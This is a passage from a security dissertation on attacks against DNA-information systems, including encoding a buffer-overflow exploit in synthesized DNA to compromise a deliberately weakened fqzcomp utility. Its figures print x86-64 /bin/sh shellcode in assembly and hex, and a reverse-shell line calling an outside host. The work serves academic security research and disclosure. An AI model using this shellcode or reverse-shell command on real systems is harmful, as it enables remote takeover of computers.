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Advances in biotechnology have made DNA manipulation and information processing ubiq-

uitous. It is now an essential tool in many fields including medicine, genomics, forensics,

and bioengineering. DNA technology increasingly resembles information technology: DNA,

like any form of information, can be read (sequenced), written (synthesized), analyzed (with

bioinformatics utilities), and stored (in genetic databases). However, the increasing comput-

erization of DNA technology, and biotechnology more generally, raises new bio-cyber security

concerns. Vulnerabilities that are typically associated with traditional computer systems —

like the processing of untrusted input, side-channel leaks, poor authentication, falsified data,

and vulnerabilities in cyber-physical systems — now exist in biotechnology.

In this dissertation I explore three new bio-cyber security threats to DNA-information

systems. I show how popular bioinformatics programs that process DNA data are vulnerable

to malicious input and experimentally demonstrate, with a proof-of-concept, how physical

DNA molecules could be used as a vector to compromise bioinformatics programs. Next,

I explore a new side-channel vulnerability in next-generation DNA sequencers that arises

in multiplexed sequencing, a common technique used to sequence multiple DNA samples

in parallel. I demonstrate how this side-channel vulnerability can be used by an adversary

to corrupt the genetic interpretation in other, concurrently sequenced genomic samples.



Finally, I evaluate the security of popular genetic genealogy services that store consumer

genetic data. I show how these databases are vulnerable to a number of attack including

genotype extraction and forged relative attacks because an adversary can upload falsified

and unauthenticated genetic data.
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Chapter 1

INTRODUCTION

DNA is the predominant carrier of information in biological systems; like its computer

counterpart, DNA is digital, except it is encoded in quaternary using four nucleotides (or

bases) A, C, G, and T. And like any form of information, DNA can be read (sequenced),

written (synthesized), analyzed (bioinformatics algorithms), and stored (DNA databases).

The unique relationship of DNA to life means that DNA technology is an essential tool in

many fields including medicine, genomics, forensics, and bioengineering. DNA, and infor-

mation derived from it, is now used to help treat disease [107], understand the genome [28],

solve crimes [15], determine paternity [83], engineer new organisms [46], and even to store

computer information [23, 48, 100].

Advances in biotechnology and computational methods — most importantly, DNA se-

quencing, synthesis, and genome assembly — have enabled the mass adoption of DNA tech-

nology. DNA sequencing, a method to determine the sequential order of bases in a DNA

molecule, is now cheap and fast enough to sequence and reconstruct a human genome for

under $1000 (a 5-order of magnitude decrease in cost from the early 2000s) [121, 16]. The

creation of artificial DNA molecules (de novo DNA synthesis) has improved to where it is

possible to create organisms with synthetic genomes over one million bases long [46]. And

just like computers, there is a biotechnology analogue to Moore’s Law, called the Carlson

Curve, that predicts an exponential improvement in per-base DNA sequencing and synthesis

cost [16].

However, like many emerging technologies, the good often comes with some bad: novel

uses of synthetic DNA, mass adoption of DNA processing, and lower barrier all bring new
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security risks. Consider the growing use of DNA data in important and security sensitive

application, like medicine and forensics. Genetic testing is expected to be pervasive with

the introduction of personalized medicine [47, 96]. To accomplish this, the entire public will

likely be sequenced or genotyped, and it is prudent to expect that this data will be used in

unexpected ways. For an example of this, look at the explosive rise of consumer genetic

testing, popularized by companies like 23andMe and AncestryDNA. Originally designed

to give curious customers low cost access to their genetic information to help health and

ancestry, consumer genetic databases have recently been repurposed by law enforcement to

solve criminal cold cases [74]. We can expect that as DNA technology will continue to be

used in ways that were unexpected by technologists and engineers. And as long as important

decisions hinge on the results of DNA analysis, there will be ample motivation for attackers

to disable, corrupt, or manipulate DNA systems to their own advantage.

The growing adoption of DNA technology coincides with more public access to technical

expertise and wet lab facilities than ever before. A burgeoning DIY-bio movement seeks to

provide equipment, reagents, technical know-how, and wet lab spaces so that the public can

begin experimenting with biotechnology [31]. It is even possible to perform lab experiments

without any access to wet lab facilities using outsourced, or even robotic, wet labs that are

programmable over the Internet [56, 104]. This means that the security and biotechnology

research communities will need to think broadly about adversaries, not just those with high

levels of technical expertise.

Security and privacy concerns in biotechnology, and DNA-based technology more specif-

ically, is not new. Biosecurity (discussed in Section 1.2.1) is a field concerned with dual-use

biotechnology and the construction of dangerous biological agents, like bioweapons [71]. As

one would expect, it is an area largely studied by governments and tends to have a strong

national security focus. There is also a large literature concerned with the privacy of genetic

data that comes from a field loosely known as genome privacy (discussed in Section 1.2.2).

Practitioners have worked to understand privacy risks to genetic data and have developed

privacy preserving tools to analyze genetic data [109].
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However, I believe the integration of DNA and computer systems creates new security

problems that have not been fully considered. Since DNA is just another form of informa-

tion, any system that creates, manipulates, processes, or stores DNA (either physically or

as digital data) — which I call DNA-information systems — will be vulnerable to informa-

tion security attacks because these systems, fundamentally, treat DNA as just another type

of information. Furthermore, I believe that attacks against DNA-information systems will

follow well know paradigms from computer security. Some possible attacks include: the pro-

cessing of untrusted or unsanitized DNA input by vulnerable computer programs, leveraging

information side-channel vulnerabilities to leak information or corrupt results, spoofing DNA

when it is used for identity or authentication, security concerns in cyber-physical systems

that process DNA or other biological materials (e.g., robotic wet labs), and malicious DNA

that is processed by machine learning algorithms (i.e., adversarial machine learning), among

others. I term this field as bio-cyber security, since these attacks rely on the integration of

biotechnology with computer systems.

DNA technology is no longer a specialized industry relegated to research labs but will

soon be a ubiquitous technology. Therefore, I believe it is essential that we consider the safety

and robustness of our DNA-information systems against adversarial actors now, before they

are broadly deployed and harder to secure.

1.1 Contributions

This dissertation provides a framework for the security and engineering community to better

understand the complex bio-cyber threats facing DNA-information systems and biotechnol-

ogy more generally. The main contribution is an exploration of three new bio-cyber security

attacks against DNA-information systems. My hope is that this work brings awareness to

the complex set of actors, technologies, and threats facing DNA-information systems and

to prompt future bio-cyber security research. The eventual goal is to design biotechnology

systems securely from the beginning, rather than reacting to security problems only after

they manifest. The dissertation is broken in three chapters, each of which presents a dif-
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ferent case study my collaborators and I have done demonstrating different attacks against

DNA-information systems, which are summarized below.

Computer Security and DNA Sequencing: Compromising Computers with Syn-

thesized DNA. Chapter 2 of this dissertation focuses on the security practices of popular

bioinformatics utilities that are used to analyze DNA sequencing data. Given that DNA

processing programs have encountered little adversarial pressure, we suspected — and later

confirmed — that they exhibit poor software security practices. Since these programs process

DNA sequencing data directly, it suggested that DNA itself could be used as a vector for

malicious that could be processed by these programs. In this chapter I describe experiments

we did to demonstrate that malicious computer code can be encoded in synthetic DNA, and

with a proof-of-concept, showed how such DNA could be used to compromise a computer

system.

Exploiting Side-channel Vulnerabilities in Next-Generation DNA Sequencers.

In Chapter 3, I describe a study exploring side-channel vulnerabilities in high-throughput

DNA sequencers. I show how a common technique used to sequence multiple DNA samples

in parallel creates a side-channel vulnerability with security and privacy implications. This

side-channel, known as index cross-talk, causes a small amount of DNA data to appear

in the wrong sample and results from manner different DNA samples are barcoded and

demultiplexed. I show how index cross-talk can be leveraged by an adversary to cause the

incorrect genetic interpretation of a concurrently sequenced genomic sample — specifically,

by making the sickle-cell disease causing variant appear in a wild-type genome.

Security of Genetic Genealogy Services: Data Theft, Falsified Relationships, and

Denial-of-Service Attacks. Chapter 4 changes focus to consumer facing genetic appli-

cations. The immense popularity in consumer genetic testing, often referred to as direct-

to-consumer testing, creates a new class of privacy and security risks. Consumer genetic
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databases designed for genealogical searches have already been repurposed by law enforce-

ment in forensic investigations (see Section 1.2.3). I show how an adversary can manipulate

these databases by uploading falsified or synthetic data to make false genetic relations and

discuss how this could be used by an attacker to avoid detection in a forensic investigation.

Finally, I demonstrate how a popular consumer genetic service called GEDmatch is vulner-

able to data extraction attacks. An attacker can run a small number of repeated relative

matching queries against any person in the database to uncover a large percentage of their

genetic data.

1.2 Related Fields

This section gives a brief background into the fields of biosecurity, genome privacy, and DNA

profiling that are not in the direct scope of this dissertation but will give helpful context in

the following chapters.

1.2.1 Biosecurity

Biosecurity considers how advances in biotechnology could be used to create dangerous bi-

ological agents, such as engineered pathogens. The US Intelligence community currently

considers some biotechnology, including genome editing, as dual-use technology [24].

The first major biosecurity challenge began in the 1970s with the advent of recombi-

nant DNA technology. These were laboratory methods to create hybrid DNA molecules

made of DNA from difference sources. Safety concerns prompted a moratorium on further

recombinant DNA research until the safety and ethical impacts could be considered. This

culminated in a major conference, the Asilomar Conference on Recombinant DNA, which

brought together researchers, ethicists, and physicians to establish principles and give safety

recommendations to the research community [8].

One of the greatest concerns is the accidental release or deliberate creation of dangerous

pathogens. Experiments have shown that it is possible to create vaccine-resistant viruses [64]

and even viruses from scratch [17]. In 2005, researchers were able to recreate the pandemic
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flu virus that caused the 1918-1919 Spanish Flu and which killed an estimated 20-50 million

people [114]

Dealing with biosecurity concerns is challenging because there are many possible threats

and actors, ranging from small scale criminals to bioterrorists and state actors. DNA synthe-

sis is an important point to monitor for potentially malicious synthetic biology activity [14].

Most DNA synthesis is outsourced to third party companies, where DNA sequences can

be screened in order to identify malicious sequences, like those from infection agents. An

obvious limitation to this approach is that the screening algorithm must be able to predict

malicious sequences in advance, which may not work with novel sequences.

There have also been concerns that dual-use, synthetic biology capabilities are reaching

a wider audience. Most notably is Joshia Zayner, a self proclaimed biohacker, that runs the

ODIN website, which sells reagents and equipment, including a DIY CRISPR gene editing

kit, to the public [97, 30]. In 2016, a researcher was able to use the Transcriptic robotic wet

lab platform to create GFP protein from scratch (i.e., from synthesized DNA) for $360 only

using python code [91].

1.2.2 Genome Privacy

The genomics privacy community has studied the privacy risks that come from analyzing and

storing highly sensitive genomic data. Of particular concern is how leaked genetic data could

be used to genetically discriminate (e.g., in insurance and employment) or could uninten-

tionally leak ancestry relationships, like paternity. Many of the most promising innovations

in health care, like personalized medicine, require that genetic data can be used securely

and remain private. However, researches have demonstrated a number of privacy attacks

against anonymized genetic datasets including de-identification attacks, kinship inference,

and surname inference [33, 57, 59, 53].

Humpert et al., showed that the genetic information of a few relatives — like what might

be available in a public ancestry database — could be used to significantly lower an individ-

ual’s genome privacy [59]. This has been demonstrated concretely in a number of attacks.
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Homer et. al. showed that it is possible to determine whether a individual, with known

genotype, participated in a genome wide association study (GWAS) [57]. This attack was

later improved to be able to identify the presence of an individual in a GWAS dataset us-

ing as little as a few hundred SNPs [119]. It has also been demonstrated that surnames of

men can be predicted using just Y-chromosome short-tandem repeats information and public

ancestry datasets; this was used to de-anonymize subjects in the 1000 Genomes Project [53].

Keeping genomic data private and secure is a challenging problem that will require the

cooperation medicine, public policy, technology, and especially, the development of privacy

preserving genomic techniques [92]. Existing technical solutions rely on well known secu-

rity practices like proper access control, the release of aggregate or obfuscated data (e.g.,

differentially private data), and cryptographic techniques like homomorphic encryption or

multi-party computation.

Already, researchers have developed privacy-preserving approaches to implement com-

mon bioinformatics algorithms. Chen et al., designed a privacy preserving method to align

short DNA sequences to a larger reference sequence (a necessary step in sequencing analy-

sis) [22]. Others have designed systems that can privately access and store whole genome

sequencing data [66] as well as other types of raw genomic data [5, 58]. Domain specific

privacy preserving solutions have also been developed. Ayday et al., proposed a new archi-

tecture between patients and medical providers using homomorphic encryption that enables

providers to do genetic analysis while minimizing patient privacy [6]. Other techniques, like

differential privacy and private set operations, have been used to privately release GWAS

data and to create privacy preserving paternity testing [38, 7].

1.2.3 DNA Profiling

One of the main uses of DNA outside of research and medicine is to determine identity and

ancestry. DNA profiling (or fingerprinting) is a method to infer the unique characteristics

of DNA that can be used to identify or match DNA samples. The most common uses of

DNA profiling are in criminal investigations — to link DNA found at crime scenes to specific
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suspects — and for paternity testing.

Colin Pitchfork was the first person to be convicted of a crime based on DNA profiling

evidence in 1987 [68]. Since then, DNA profiling has become a routine investigative technique.

In the United States, the FBI maintains the Combined DNA Index System (CODIS), a DNA

profile database for use in criminal and missing person investigations that currently contains

over 13 million profiles [105]. The CODIS database mostly contains STR (short tandem

repeat) fingerprints. STRs are repeated sequences of DNA bases that are highly variable

between individuals. These repeated sequences have a high mutation rate, which causes the

number of the repeats to vary between individuals. An individual can then be fingerprinted

by counting the number of repeats at a small number of loci. Originally, CODIS required

that an individual be profiled at 13 loci (called the CODIS core) but has since been expanded

to 20 [36]. More recently law enforcement has begun to use more sophisticated fingerprinting

procedures using next-generation sequencing. Most notably, Illumina offers the MiSeq FGx

Forensics Genomics systems that includes sequencing library kits and software to analyze

forensic samples [37].

Frumkin et al., was able to demonstrate that CODIS DNA profiles could be spoofed

using standard wet lab techniques (e.g., PCR, molecular cloning, and whole genome ampli-

fication) [41]. To identify spoofed samples they created a large library of the common alleles

at each of the CODIS loci. These could be combined together to match any desired profile,

or even mixed into fake blood or saliva samples, which were able to fool accredited forensics

labs. To deal with these issues, they developed an authentication assay that uses methylation

profiles to ensure the authenticity of DNA samples. However, it is unknown whether these

or other authentication procedures have been implemented in any forensic lab.

There has also been a large rise in DNA genotyping and profiling for use by the lay public.

This has been driven by the rise of direct-to-consumer DNA testing by companies like An-

cestry.com and 23andMe that provide customers with genotyping services, most commonly,

SNP genotyping using SNP arrays. By early 2018, over 12 million people have had their

DNA analyzed by consumer genetics companies [106]. Genotype data has been aggregated
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into large genetic databases to help customers find unknown genetic relatives.

More recently, these databases have been repurposed when a popular database, main-

tained by the company GEDmatch, was famously used by law enforcement to solve the

Golden State serial killer case. Law enforcement used DNA from crime scenes and uploaded

the resulting data to the GEDmatch genetic database to find relatives of the perpetrator.

GEDmatch has since updated their terms of service to explicitly allow law enforcement to

upload DNA profiles to find perpetrators of a violent crimes [44]. Forensic companies, like

Parabon Nanolabs, have recently created “genetic genealogy units” that use this approach

to solve cold cases [103].
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Chapter 2

COMPUTER SECURITY AND DNA SEQUENCING:
COMPROMISING COMPUTERS WITH SYNTHESIZED DNA

This chapter includes work I have done in collaboration with Luis Ceze, Tadayoshi Kohno,

Karl Koscher, and Lee Organick. This chapter was first published and presented at the 2017

Usenix Security Symposium [93].

2.1 Introduction

DNA sequencing costs have dropped exponentially, outstripping Moore’s Law since 2008,

primarily driven by advances in next-generation sequencing (NGS) technologies. For exam-

ple, Illumina’s cost to sequence the human genome dropped from around $100,000 in 2009 to

just $1,000 in 2014 [121]. These advances have revolutionized genomic sciences, accelerating

the pace of new discoveries in areas such as cancer biology and epidemiology.

Our research suggests that DNA sequencing and analysis have not to date received sig-

nificant — if any — adversarial pressure. The key question that motivates our research then,

is the following: How robust will the DNA sequencing and processing pipeline be if or

when adversarial pressures manifest? This line of inquiry raises related questions, such as:

Are DNA-based attacks possible? What potential consequences could occur if an adver-

sary compromises a component of the DNA processing pipeline? How serious might those

consequences be? Since DNA sequencing is rapidly progressing into new domains, such as

forensics and DNA data storage [61, 23, 25, 48, 11], we believe it is prudent to understand

current security challenges in the DNA sequencing pipeline before mass adoption.

The modern DNA sequencing and analysis pipeline is large, complicated, and computationally-

intensive. DNA is pre-processed in a wet lab and analyzed with a high-throughput sequencer
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(itself a computer) that performs image analysis. It is then common to conduct a wide range

of computational tasks with the raw output from the sequencer using many software utilities.

We seek to assess the overall state of this pipeline in general, and to experimentally explore

key aspects that are not represented in traditional computing systems: DNA samples.

Exploiting Computer Programs with DNA. The DNA processing pipeline begins

with DNA strands in a test tube. Hence, we start our security explorations from this point.

Namely, we first experimentally evaluate whether it is possible to compromise a computer

program using physical DNA.

Our exploration of this question lead us to synthesize DNA strands that, after sequencing

and post-processing, generated a file; when used as input into a vulnerable program, this file

yielded an open socket for remote control. We elaborate on specifics in Section 2.3.

To the best of our knowledge, ours is the first example of compromising a computer

system using biological or synthetic DNA samples. Our exploit did not target a program

used by biologists in the field; rather it targeted one that we modified to contain a known

vulnerability. Our use of such a trojaned program was consistent with the primary focus

of the first research phase to understand — and overcome — challenges posed by creating

an exploit at a physical level. For example, our initial exploit contained too few C and

G nucleotides (we review DNA background in Section 2.2) to synthesize the DNA strand;

therefore, we modified our exploit to overcome this challenge. Our key finding is that it is

possible to encode a computer exploit into synthesized DNA strands.

Side-Effect — Information Leakage. Although not a goal, our efforts to experimentally

evaluate the ability to synthesize adversarial DNA resulted in our observing an information

leakage channel. Standard practice multiplexes different samples on the same sequencing ma-

chine. The methods to multiplex (and later demultiplex) DNA samples can leak information

between samples during sequencing. Our exploit sample was sequenced and multiplexed in

this manner alongside samples from another research team. We noticed that our sequencing
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results contained DNA sequences derived from their samples.

Other biologists have observed these effects [89, 99, 70, 54, 110], but their concerns focused

on experimental accuracy, not on security or information leakage. From our perspective we

use these unanticipated results to guide a security discussion of information leakage inherent

in the DNA sequencing pipeline.

Software Security Awareness Throughout the Pipeline. Having demonstrated the

ability to exploit a computer program with synthesized DNA, we next evaluated the computer

security properties of downstream DNA analysis tools. We analyzed the security of 13

commonly used, open source programs. We selected these programs methodically, choosing

ones written in C/C++. We then evaluated the programs’ software security practices and

compared them to a baseline of programs known to receive adversarial pressure (e.g., web

servers and remote shells).

We found that existing biological analysis programs have a much higher frequency of

insecure C runtime library function calls (e.g., strcpy). This suggests that DNA processing

software has not incorporated modern software security best practices. However, rather

than rely solely on heuristics, we took the next step and determined whether we could target

static buffers to cause program crashes. We readily found three buffer overflow vulnerabilities.

Given the prevalence of poor software security practices and the well-known fact that program

crashes can often be converted to exploits, we chose not to convert each program crash into

a working exploit.

Threat Model and Guidelines. When exploring a technology domain new to computer

security, any individual study lacks the breadth to address the entire domain. For example,

early work on the attack surface of modern automobiles considered only one vehicle and a

few example attacks [75, 21]. However, as the first work to explore a domain, an important

contribution can involve drawing inferences from concrete results and domain knowledge

to define broader lessons and extrapolate threat models for the entire domain, as others
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did for the modern automobile [21]. Leveraging our technical results and multidisciplinary

backgrounds (computer security, synthetic biology, and the design and use of the DNA

processing pipeline), we drew inferences to present a threat model and recommendations for

the DNA sequencing and processing pipeline and the associated community.

Summary. To our knowledge, our research is the first to consider computer security im-

plications of the modern DNA sequencing pipeline. Our four key contributions include:

• We demonstrate, for the first time, the ability to compromise a computer program

with sequenced DNA. In so doing, we encountered challenges when synthesizing DNA

strands containing exploits and developed methods to overcome those challenges.

• We observe a side channel resulting from fundamental properties of DNA sequencing

technologies, and we pioneer the exploration of how one might exploit this side channel

for adversarial purposes.

• We evaluate the software security in a wide set of DNA processing programs and find

that they do not adhere to modern security best practices (e.g., they frequently use

insecure function calls and contain buffer overflow vulnerabilities).

• We derive a threat model for the DNA sequencing pipeline and present recommenda-

tions to offset potential attacks.

2.2 Biology and DNA Sequencing: Background

Our work strives to apply computer security principles and perspectives to a new field:

genomic sciences, and specifically, DNA synthesis, sequencing, and analysis. To do so, we

offer a basic review of the biological, chemical, and computational processes in this field.
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2.2.1 DNA

Deoxyribonucleic acid (DNA) is the carrier of genetic information for all known living organ-

isms. It is composed of an alternating sugar-phosphate backbone to which a sequence of four

possible nucleotides (also called bases) are linearly attached. These nucleotides — adenine,

thymine, cytosine, and guanine — are commonly abbreviated as A, T, C, and G, respectively.

Each nucleotide bonds with its complement — A with T, and C with G. Sequencing is the

process of reconstructing the original order of nucleotides in a DNA sample.

While DNA can form many structures, the most common is double-stranded DNA (ds-

DNA), where two strands with complementary base sequences bond to form the well-known

double helix structure. DNA’s sugar-phosphate backbone causes its strand ends to be asym-

metric: The phosphate end, called the 5′ end, and the sugar end, called the 3′ end. By

convention, nucleotide sequences are read from the 5′ to the 3′ end.

Many traditional lab protocols require DNA strands to be replicated (also called ampli-

fication). Amplification uses a technique called polymerase chain reaction, or PCR. dsDNA

is first melted at high temperatures to separate its two strands. The temperature is then

lowered, and primers (synthesized strands typically 20 nucleotides long) anneal (reattach)

to the complimentary ends of the DNA strands. At slightly higher temperatures, DNA poly-

merase (an enzyme that synthesizes DNA), attaches to these end regions where the primer

has annealed and produces a complimentary copy of the original strand. This process is

repeated as needed to exponentially amplify DNA.

2.2.2 Next-Generation DNA Sequencing

Next-generation sequencing (NGS) systems differ from prior sequencing methods in that

they read relatively short sequences, called reads, but in a massively parallel fashion. Longer

DNA strands are sequenced by randomly cleaving DNA into shorter sequences, reading these

sequences in parallel, and reconstructing the original, longer sequence. Several different types

of NGS systems do this work; among the most popular are the various Illumina sequencers,
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which are based on a technique known as sequencing by synthesis.

Before sequencing a typical genomic DNA sample with an Illumina sequencer, the DNA

sample must be manually processed in the lab. It is cleaved into short sequences of a few

hundred bases and amplified using PCR. Special DNA adapter sequences are then attached

to both ends of the amplified DNA. This double-stranded DNA sample is separated into

single-stranded DNA and applied to a glass flow cell. The adapter sequences attached to

the sample fragments bind to complementary fragments on the flow cell surface. The bound

sequences locally replicate to produce clusters of identical DNA, called clonal clusters.

The DNA in each clonal cluster is sequenced in rounds (called cycles) by appending a

complementary fluorescently labeled nucleotide to the single-stranded DNA in each clonal

cluster. Each time a new fluorescent base is added to the strand, it emits a particular color

specific to each base (e.g., A, C, G, and T). The cluster sequence is obtained by imaging

the flow cell in each cycle and noting the fluorescent color each cluster emits. The number

of cycles determines the length of resulting reads (often between 150-300 bases). These

identified bases added in each cycle, called base calls, are written out to per-cycle base

call files. A separate utility then takes these files and converts the reads into a standard

text-based format called FASTQ.

FASTQ files are the de facto standard for exchanging next-generation sequencing results.

Their structure is simple: each read has an ASCII header identifying the read source, followed

by a line with the sequence written as an ASCII A, C, G, or T. Reads additionally contain a

separator line, followed by a line with ASCII characters encoding the quality or confidence

of each base call.

2.2.3 Downstream Processing

The raw FASTQ files that come directly from the sequencer are rarely useful by themselves,

and extensive downstream processing and analysis is usually performed after sequencing.

This processing is typically done in phases by dedicated programs; the output from a program

in one stage is sent to a program in a later processing stage. This section describes some
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commonly used downstream processing steps, which we explore for security vulnerabilities

in Section 2.6.

Before analyzing the sequence reads, an initial pre-processing phase occurs where by the

reads (stored in a FASTQ files) are cleaned up to remove undesired ones. The last base calls

in a read often have lower quality scores, so it is common to truncate the reads to a fixed

length when the score drops below a defined threshold. DNA sequences from unintended

sources — like the adapters used to bind sample DNA to the flow cell or control sequences

used to verify sequencing accuracy — need to be removed from the sequence file. Other pre-

processing steps merge paired-end reads if there is overlap, convert different quality score file

formats, or compress FASTQ files for archival purposes.

Direct output from a sequencer contains only short chunks of reads derived from the full

sequence, and in no particular order. These unordered reads can be merged by aligning

them to a reference sequence (e.g., the human genome) if one exists, or they can be merged

from scratch, using overlaps in the reads to stitch them together in a method called de novo

assembly. When using a reference sequence, the alignment of each read in relation to the

reference is stored in a text based format (SAM) or a compressed representation (BAM).

Both methods, especially de novo assembly, are computationally and memory intensive and

may be run on computer clusters if the size of the sample to reconstruct is sufficiently large

(e.g., a mammalian genome).

After the sequence has been aligned or assembled more work may remain, and the fol-

lowing are but a few examples of the widely varied analysis methods commonly used. It

is customary to look for variations between the sample and some reference for biologically

meaningful differences (e.g., genetic variations that cause disease). Specific variations in

the sequenced sample are usually stored in a plain text file (VCF) so redundant sequencing

information can be discarded. NGS techniques are also used in more complicated biological

assays to analyze RNA (RNA-seq) or protein-DNA interactions (ChIP-seq). In these cases,

the samples’ sequence are not only valuable, but the number and precise location of its reads

in relation to a reference sequence are also meaningful.
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2.2.4 DNA Synthesis

Synthetic DNA, commercially produced via phosphoramidite chemistry, is characterized by

nucleotides attached to one another with specific reagents to form specified sequences. The

resulting length, quality, and cost varies greatly depending on the method of reagent deliv-

ery, the substrate on which DNA is synthesized, and consumer specifications. For example,

Integrated DNA Technologies (IDT) synthesis of a custom gene utilizes their “gBlock” ser-

vice, which differs in capabilities and constraints from their “custom oligo” service designed

for shorter strands (oligos or oligonucleotides are short DNA sequences commonly used in

genetics). The cost for these two services varies significantly depending on the length of

the strand ordered, the degree to which DNA must be washed, or whether there are DNA

modifications (e.g., fluorescent tags).

2.3 Compromising a Computer with DNA

DNA, in its most basic form, stores data. Conceptually, if DNA were used as input to a

computer system, an open issue is the possibility that it could be used to compromise that

system. As one might predict, significant unknowns exist. Can DNA itself compromise a

computer system, or does something in the DNA sequencing pipeline make such attacks

impossible? Prior to our work, to the best of our knowledge, there has never been a demon-

strated DNA-based exploit of a computer system. Indeed, without concrete, experimental

evidence, it is impossible to know whether DNA-based computer compromises are purely

hypothetical or a real possibility. We therefore seek to experimentally answer the previously

unexplored question:

Can DNA be used to compromise a computer?

To answer this question, we seek an end-to-end experimental evaluation of an exploit.

Namely, we seek to mimic an adversary and (1) synthesize a real, biological DNA sequence

with a malicious, embedded exploit. We then seek to experimentally evaluate the impact of
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Figure 2.1: Our synthesized DNA exploit

that exploit DNA on a victim by having the victim (2) sequence that DNA using standard

sequencing methods and (3) post-process the DNA sequence with a realistic program — a

program that a scientist might use to analyze the resulting DNA sequence. If the exploit is

successful, step (3) should result in arbitrary code execution on the victim computer.

This section explores the biological nature of this attack pipeline — how to encode an

exploit into DNA such that, when sequenced, will hijack execution when processed by the

victim program. We therefore intentionally chose to create our own vulnerable program
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start:

        jmp    callsite

callback:

        popq   %rsi

        movq   %rsi,0x8(%rsi)

        xorl   %eax,%eax

        movb   %al,0x7(%rsi)

        movq   %rax,0x10(%rsi)

        movb   $59,%al

        movq   %rsi,%rdi

        leaq   0x10(%rsi),%rdx

        leaq   0x8(%rsi),%rsi

        syscall

        xorq   %rbx,%rbx

        movq   %rbx,%rax

        inc    %rax

        syscall

callsite:

        call   callback

        .string "/bin/sh"

90 90 90 90 90 90 90

90 90 90 90 90 .....

EB 28 5E 48 89 76 08 

31 C0 88 46 07 48 89

46 10 B0 3B 48 89 F7

48 8D 56 10 48 8D 76

08 0F 05 48 31 DB 48

89 DB 48 FF C0 0F 05

E8 D3 FF FF FF 2F 62

69 6E 2F 73 68 00 ..

EF BE AD DE EF BE AD

DE EF BE AD DE .....

85 E0 FF FF FF 7F 00

00

GCAAGCAAGCAAGCAAGCAAG

CAAGCAAGCAAGCAAGCAATG

GTAGGACCTGCAGAGAGCCTC

GAAGAATACTAAAGAGACACG

AACTCAGAGAGCCACGACAAG

TAAATGTCAGAGAGCTTCTCA

GAGATCCCCGACAACAGAGAT

CCTCGAAGAAATTAACCCAGA

ATACTCGTCAGAGAGCTCGAC

AGATTTTTAAAAATTAACCTG

GATCATTTTTTTTTTTTTAGT

TCGAGCGGCCGTGAGTTCTAT

CGGATGTTGTTGGGTCTCTGT

GTTGTTGGGTCTCTGTGTTGT

TGGGTCTCTGTGTTGTTGGGT

CTCTGTGTTGTTGGGTCTCTG

TGTTGTTGGGTCTCTGGACCT

GAATTTTTTTTTTTTCTTT

a) Shellcode b) Binary Exploit c) DNA-Encoded Exploit d) Failed Synthesis Constraints

Figure 2.2: Our initial, unsuccessful exploit attempt

for step (3), i.e., a program inspired by actual bioinformatics tools but with an obvious

vulnerability. In Section 2.6, we consider the security of the sequencing pipeline in general.

Our results suggest that while our exploited program in this section is vulnerable to a basic

buffer overflow exploit, the security hygiene of the overall DNA sequencing pipeline is not

much better.

Despite challenges, this section demonstrates that it is possible to create DNA that, when

sequenced and processed, compromises a victim system. See Figure 2.1 for a photo of our

DNA exploit. In conducting this work, we identified and overcame multiple challenges, which

we describe — along with methods for overcoming them and the resulting lessons — below.

2.3.1 Target Program

The FASTQ compression utility, fqzcomp, is designed to compress DNA sequences. For

experimental purposes, we inserted a vulnerability into this utility. To do so, we first copied

fqzcomp from https://sourceforge.net/projects/fqzcomp/ and inserted a vulnerability

into version 4.6 of its source code; a function that processes and compresses DNA reads

individually, using a fixed-size buffer to store the compressed data. This modification lets us

perform a buffer overflow with a longer than expected DNA read in order to hijack control

flow. While the use of such a fixed-size buffer is an obvious vulnerability, we note that

fqzcomp already contains over two dozen static buffers. Our modifications added 54 lines of
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C++ code and deleted 127 lines from fqzcomp.

Our modified fqzcomp version used a simple 2-bit DNA encoding scheme. The four

nucleotides were encoded as two bits — A as 00, C as 01, G as 10, and T as 11 — packing

bits into bytes starting with the most significant bits.

We ran the target program in a simplified computing environment and disabled common

security features. Specifically, we disabled stack canaries and ASLR, and we marked the

stack as executable.

We stress that our target modified program has a known, and in some sense trivial,

vulnerability. We also stress that its environment is in many ways the “best possible”

environment for an adversary. For experimental purposes, however, we believe that these

conditions are acceptable for the following reasons. First, our primary goal is to understand

the issues unique to DNA-encoded exploits. Second, as we relate in Section 2.6, we find

that the general security hygiene of bioinformatics programs is very low, with prevalent

usage of fixed-size buffers, strcpy, and so on. Finally, we note that genome sequencing

processes are rapidly improving: since early NGS machines read sequences on the order of

50-100 bases, a fixed-size buffer in that range may have been acceptable years ago. Today,

any fixed-size buffer would likely be vulnerable, as new longer read sequencing technologies

can produce reads that are upwards of 60,000 bases [102]. These newer sequencers lack the

throughput of short-read counterparts and are not at present commonly used; Illumina short-

read sequencers now have over 90% market share [63]. Future technological improvements

will likely make long-read sequencers more viable in the future.

2.3.2 Creating and Synthesizing an Exploit

We now turn to our design of a DNA strand that, when sequenced, exploits the vulnerable

target program. Our key goal was to identify potential challenges. Our efforts here were

successful in two regards. First, we identified several challenges, including limitations on the

exploit’s size and type and problems inherent in the DNA synthesis process that constrained

the sequences we could generate. Second, by overcoming these challenges, we found that it
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sh>&/dev/tcp/degdeg.com/9 0>&1

CTATCGGAATTGAGCGAGTTC

GCACGCCCTCGAGTTCTCACG

ATCTAAAGTTCGCACGCCCGC

TCGCACGCCCGCTAGTGCGAT

CGTTCGTCAGTTATGCAGAAA

TAAATTGAGCGATACAAAACA

AAAGGCTAGGTTCTAAGACCA

AAGTGTTAGGGTACTTCCAGC

TTCGTTCG

@NB501203:50:HHNT7AFXX:1:11101:2573:1030 1:N:0:GCCAAT

CTATCGGAATTGAGCGAGTTCGCACGCCCTCGAGTTCTCACGATCTAAAGTTC

GCACGCCCGCTCGCACGCCCGCTAGTGCGATCGTTCGTCAGTTATGCAGAAAT

AAATTGAGCGATACAAAACAAAAGGCTAGGTTCTAAGACCAAAGTGTTAGGGT

ACTTCCAGCTTCGTTCGA

+

AAAAAEEEEEEEAEEEEEEEEEEAEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<EEEEEE<EEEEEAEAAEE

EEEAEE<EEEEAEEEEEEEEEAEEEE<EEE<EEEEAE<E<EE<E<EE/<E/EA

E<EEEEEEEAA<EE6AAE

...

a) Shellcode

c) Synthesized Exploit d) DNA Sequencing

e) FASTQ File

b) DNA-Encoded Exploit

f ) Exploited Utility

g) Reverse Shell Callback

Figure 2.3: Our working exploit pipeline

was possible to create a DNA sequence that could in fact compromise a program.

Our process was iterative. We created exploits that we thought would work, surfaced

challenges, and then iterated on improved exploits.

We initially encoded one of the most straight-forward exploits, i.e., overwriting the return

